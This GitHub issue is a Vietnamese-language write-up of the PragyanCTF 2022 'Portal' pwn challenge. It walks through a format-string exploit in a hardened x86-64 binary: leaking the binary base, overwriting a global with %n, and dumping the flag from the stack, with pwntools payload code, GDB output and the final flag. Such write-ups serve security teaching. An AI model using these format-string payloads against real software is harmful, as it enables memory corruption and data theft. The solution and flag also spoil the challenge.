kcsc-club / ctfs

repository for kscs-ctfs
8 stars 1 forks source link

Portal - pwn - PragyanCTF 2022 #22

Closed johnathanhuutri closed 2 years ago

johnathanhuutri commented 2 years ago

Pragyan CTF 2022 - Portal

Liên kết gốc: https://ctf.pragyan.org/

Bạn cũng có thể tải xuống challenge ở đây: load.zip

Zip sẽ bao gồm 1 file:

Tải xuống, giải nén và chúng ta bắt đầu!

1. Tìm lỗi

Trước tiên, ta sẽ sử dụng file để kiểm tra thông tin cơ bản:

$ file load
load: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1128f7b9cbf10c5208e4624339366761018789ca, for GNU/Linux 3.2.0, not stripped

Đây là tệp 64-bit không bị ẩn code. Tiếp theo, ta sẽ sử dụng checksec để kiểm tra tất cả các lớp bảo vệ của file:

$ checksec load
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Wow, tất cả các lớp đều được bật. Cuối cùng, ta sẽ dịch ngược file bằng ghidra để hiểu được cách chương trình hoạt động.

Hàm main() không có gì thú vị. Nó chỉ nhận đầu vào và sau đó so sánh để thực hiện các hàm tương ứng.

Trong hàm see_balance(), chúng ta có thể thấy rằng có một lỗi Format string tại printf():

image

Tại hàm init_pack(), nó kiểm tra xem biến toàn cục b có bằng 249 hay không. Nếu nó bằng nhau thì hãy nhảy vào hàm lift_pack(), và có vẻ như nó đọc một file được gọi là flag_maybe và sau đó lưu nó vào stack.

Mình vừa tìm đến đó đã lấy được cờ nên phần còn lại bỏ qua =)))

2. Ý tưởng

Với lỗi Format string, ta có thể thay đổi dữ liệu của biến toàn cầu b thành 249 và khi đó, cờ sẽ được đọc và lưu trữ trên ngăn xếp. Ta sẽ sử dụng lại lỗi này để leak cờ ra ngoài.

Để thay đổi b, chúng ta cần địa chỉ base của binary vì PIE enabled. Sau đó, mọi thứ sẽ trở nên dễ dàng hơn.

3. Khai thác

Giai đoạn 1: Leak địa chỉ base

Đầu tiên, ta sẽ kiểm tra xem tại %p thứ mấy sẽ in ra vị trí đầu của dữ liệu được nhập:

p.sendlineafter(b'2) Upgrade Pack', b'1')
payload = b'AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p'
p.sendlineafter(b'Wanna upgrade pack?', payload)
p.recvline()

Chạy script và ta biết vị trí bắt đầu của chuỗi được nhập nằm ở %6$p:

image

Ta sẽ kiểm tra stack ngay tại lệnh prinft có lỗi Format String đó để kiếm giá trị bất kỳ thuộc range địa chỉ của binary:

gef➤  x/20xg $rsp
0x7ffe2e91e320: 0x3931257024383125  0x0a70243532257024
0x7ffe2e91e330: 0x0000560cb2743000  0x00007f53692944a0
0x7ffe2e91e340: 0x0000000000000000  0x00007f536913b013
0x7ffe2e91e350: 0x000000000000000f  0x00007f53692936a0
0x7ffe2e91e360: 0x0000560cb274117f  0x00007f5369292980
0x7ffe2e91e370: 0x00007f53692944a0  0x00007f536912c546
0x7ffe2e91e380: 0x0000560cb27407e0  0x289158d542ab4f00
0x7ffe2e91e390: 0x00007ffe2e91e3b0  0x0000560cb2740766
0x7ffe2e91e3a0: 0x000000012e91e4a0  0x289158d542ab4f00
0x7ffe2e91e3b0: 0x0000000000000000  0x00007f53690ce0b3

gef➤  x/xw 0x0000560cb27407e0
0x560cb27407e0 <__libc_csu_init>:   0xfa1e0ff3

Chúng ta có thể thấy rằng tại địa chỉ 0x7ffe2e91e380 của stack có chứa địa chỉ của __libc_csu_init, vì vậy ta sẽ leak địa chỉ đó và tính toán để lấy địa chỉ base của binary.

Offset của địa chỉ __libc_csu_init sẽ nằm ở vị trí %18$p (6 + 12 = 18). Payload sẽ thay đổi thành:

p.sendlineafter(b'2) Upgrade Pack', b'1')
payload = b'%18$p'
p.sendlineafter(b'Wanna upgrade pack?', payload)
p.recvline()

# Get address of __libc_csu_init
__libc_csu_init_addr = int(p.recvline()[:-1].split(b'0x')[1], 16)
log.success("__libc_csu_init: " + hex(__libc_csu_init_addr))

# Calculate binary base address
exe.address = __libc_csu_init_addr - exe.sym['__libc_csu_init']
log.success("Exe base: " + hex(exe.address))

Chạy script và ta leak địa chỉ của địa __libc_csu_init thành công. Sau đó thực hiện tính toán và ta có địa chỉ base của binary:

image

Bây giờ chúng ta sẽ chuyển sang giai đoạn tiếp theo: Thay đổi b!

Giai đoạn 2: Thay đổi b

Với địa chỉ base của binary, ta có thể lấy được địa chỉ của b một cách dễ dàng. Như ta đã biết, offset của phần đầu dữ liệu nhập vào nằm ở %6$p và vì đây là tệp 64 bit nên ta cần đặt địa chỉ ở cuối (nếu đặt địa chỉ b ở đầu với null byte trong địa chỉ thì printf() sẽ dừng thực thi tại null byte và giá trị b sẽ không thay đổi).

Ta kiểm tra xem nếu chúng ta nhập đầy đủ 100 byte vào see_balance() thì stack trông như thế nào:

p.sendlineafter(b'2) Upgrade Pack', b'1')
payload = cyclic(100)
p.sendlineafter(b'Wanna upgrade pack?', payload)
p.recvline()

Chạy script và ta kiểm tra stack:

gef➤  x/20xg $rsp
0x7ffda58eb950: 0x6161616261616161  0x6161616461616163
0x7ffda58eb960: 0x6161616661616165  0x6161616861616167
0x7ffda58eb970: 0x6161616a61616169  0x6161616c6161616b
0x7ffda58eb980: 0x6161616e6161616d  0x616161706161616f
0x7ffda58eb990: 0x6161617261616171  0x6161617461616173
0x7ffda58eb9a0: 0x6161617661616175  0x6161617861616177
0x7ffda58eb9b0: 0x0000563a00616179  0xd5397c62369cd900
0x7ffda58eb9c0: 0x00007ffda58eb9e0  0x0000563aaaabf766
0x7ffda58eb9d0: 0x00000001a58ebad0  0xd5397c62369cd900
0x7ffda58eb9e0: 0x0000000000000000  0x00007fdd4554d0b3

Vậy, ta sẽ muốn đặt địa chỉ của b ở cuối dữ liệu nhập vào tại địa chỉ 0x7ffda58eb9a0 + 0x8. Chỉ bằng cách đếm, ta biết được offset là 6 + 11 = 17.

Có điều ta cần phải lưu ý, ta không nên sử dụng %<k>$n để viết giá trị. Do đó, ta sẽ sử dụng biểu mẫu chuẩn là %n. Ví dụ đoạn mã sau sẽ giống như%17$p`:

# Each '%' will count 1
payload = b'%c'*15
payload += b'%c%p'

Vì vậy, trước tiên ta sẽ đặt địa chỉ của b vào cuối dữ liệu đầu vào:

payload = b'%c'*15
payload += b'%c%p'               # We will use this to change b
payload = payload.ljust(0x58)    # Padding
payload += p64(exe.sym['b'])

Và ta sẽ muốn ghi 249 byte b bằng cách thay đổi số byte đưa vào ở dòng thứ 2 của payload bên trên. Payload mới sẽ trông như thế này:

payload = b'%c'*15
payload += '%{}c%n'.format(249 - 15).encode()    # We will use this to change b
payload = payload.ljust(0x58)                    # Padding
payload += p64(exe.sym['b'])

Tại sao mình lại viết 249 - 15, đó là bởi vì %n sẽ viết số lượng byte trước %n vào vị trí của b (sử dụng %p sẽ cung cấp cho chúng ta địa chỉ chính xác của b và sử dụng %n sẽ ghi số byte trước nó vào b).

Payload cho giai đoạn 2 như sau:

p.sendlineafter(b'2) Upgrade Pack', b'1')

payload = b'%c'*15
payload += '%{}c%n'.format(249-15).encode()    # We will use this to change b
payload = payload.ljust(0x58, b'P')             # Padding
payload += p64(exe.sym['b'])
p.sendlineafter(b'Wanna upgrade pack?', payload)

Chạy script và kiểm tra trong GDB, ta có thể thấy giá trị b đã được thay đổi thành 249:

image

Vậy giờ ta sẽ chuyển sang giai đoạn cuối cùng: Lấy cờ!

Giai đoạn 3: Lấy cờ

Sau khi chúng tôi đã thành công giai đoạn 2, ta chỉ việc chọn tùy chọn thứ hai Upgrade Pack để đọc và đưa cờ lên stack. Ta sẽ tạo cờ giả để kiểm tra:

0x00007ffebbd18650│+0x0000: 0x0000555c0a0092a0  →  0x00000000fbad2488    ← $rsp
0x00007ffebbd18658│+0x0008: 0x00007ffebbd18714  →  0x6675aa0000000002
0x00007ffebbd18660│+0x0010: "This_Is_Fake_FlagXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"    ← $rax, $r8
0x00007ffebbd18668│+0x0018: "Fake_FlagXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
0x00007ffebbd18670│+0x0020: "gXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
0x00007ffebbd18678│+0x0028: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
0x00007ffebbd18680│+0x0030: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
0x00007ffebbd18688│+0x0038: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"

Ta có thể thấy rằng cờ được viết trên stack rất gần với rsp. Vì vậy, ta chỉ cần sử dụng Format string ở tùy chọn 1 để leak cờ:

p.sendlineafter(b'2) Upgrade Pack', b'2')
payload = b'%p'*20
p.sendlineafter(b'Enter coupon code:', payload)

Mình đã thử với %s nhưng không thành công nên sử dụng %p thay thế. Chạy script và ta có thể lấy được cờ giả:

image

Vậy ta chỉ cần chạy trên máy chủ và nhận được cờ dưới dạng hex, sau đó khôi phục nó và ta lấy được cờ.

Full code: solve.py

4. Lấy cờ

image

Mình đã viết đoạn mã này để chuyển đổi cờ ở định dạng hex thành văn bản như dưới đây:

Convert.py

``` #!/usr/bin/python while True: hx = input('> ') if '0x' in hx: hx = hx.replace('0x', '') tx = '' for i in range(0, len(hx), 2): tx += chr(int(hx[i:i+2], 16)) print(tx[::-1]) ```

image

Cờ là p_ctf{W3ll_1t_W4s_3aSy_0n1y}